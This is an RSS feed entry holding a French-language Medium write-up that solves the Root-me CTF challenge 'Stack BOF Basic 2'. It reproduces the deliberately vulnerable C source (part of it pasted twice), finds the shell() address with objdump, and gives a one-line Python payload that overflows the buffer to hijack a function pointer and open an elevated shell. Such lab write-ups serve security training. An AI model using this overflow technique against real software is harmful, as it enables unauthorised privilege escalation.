<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Leonhart Bukovski on Medium]]></title>
        <description><![CDATA[Stories by Leonhart Bukovski on Medium]]></description>
        <link>https://medium.com/@4po?source=rss-77dbd88ba73d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vkCqlSoGh3ncE5UQ</url>
            <title>Stories by Leonhart Bukovski on Medium</title>
            <link>https://medium.com/@4po?source=rss-77dbd88ba73d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 08:29:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@4po/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Soluce Root-me ~ ELF x86 — Stack BOF Basic 2]]></title>
            <link>https://medium.com/@4po/soluce-root-me-elf-x86-stack-bof-basic-2-ff2ccabb927c?source=rss-77dbd88ba73d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff2ccabb927c</guid>
            <category><![CDATA[4pouser]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[chall]]></category>
            <category><![CDATA[4po]]></category>
            <category><![CDATA[leonhart-bukovski]]></category>
            <dc:creator><![CDATA[Leonhart Bukovski]]></dc:creator>
            <pubDate>Fri, 16 Jul 2021 00:00:07 GMT</pubDate>
            <atom:updated>2021-07-16T00:00:07.058Z</atom:updated>
            <content:encoded><![CDATA[<h3>Soluce Root-me ~ ELF x86 — Stack BOF Basic 2</h3><p>Tout d’abord nous arrivons sur le ssh donc nous allons faire la commande “ls” et voir les fichiers.</p><p>app-systeme-ch15@challenge02:~$ ls<br>ch15 ch15.c Makefile</p><p>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;unistd.h&gt;</p><p>void shell() {<br>setreuid(geteuid(), geteuid());<br>system(“/bin/bash”);<br>}</p><p>void sup() {<br>printf(“Hey dude ! Waaaaazzaaaaaaaa ?!\n”);<br>}</p><p>void main()<br>{<br>int var;<br>void (*func)()=sup;<br>char buf[128];<br>fgets(buf,133,stdin);<br>func();<br>}</p><p>void sup() {<br>printf(“Hey dude ! Waaaaazzaaaaaaaa ?!\n”);<br>}</p><p>void main()<br>{<br>int var;<br>void (*func)()=sup;<br>char buf[128];<br>fgets(buf,133,stdin);<br>func();<br>}</p><p>Donc nous pouvons voir</p><p>char buf[128];</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qjfiedUuWWun2kVT.png" /></figure><p>Donc une fois avoir fais cela nous avons un moment ou il y a rien, et quand on refais entrer ça nous met :</p><p>Hey dude ! Waaaaazzaaaaaaaa ?!</p><p>Alors nous allons essayé d’en faire quelque chose. Nous allons utiliser objudump donc :</p><p>objdump -D ch15</p><p>Et nous allons chercher l’etiquette &lt;shell&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/60/0*nVGBmd4d4sUYcqoI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*51m8J0IQ1XEmqAAs.png" /></figure><p>Donc shell = 08048516 donc clairement de l’hexadecimal. Nous allons le convertir en shellcode donc \x16\x85\x04\x08 et nous allons ensuite l’utiliser pour la buffer via ce script:</p><p>cat &lt;(python -c “print ‘A’*128 + ‘\x16\x85\x04\x08’”) — | ./ch15</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/60/0*Fgq6H9jEghxErKww" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3nkKUugNXT32tsZy.png" /></figure><p>Et pendant la petite latence on peut utiliser le shell pour faire des commandes qui ne sont pas autorisé avec l’user :)</p><p>Follow @4poUser<br>Follow @4po</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff2ccabb927c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>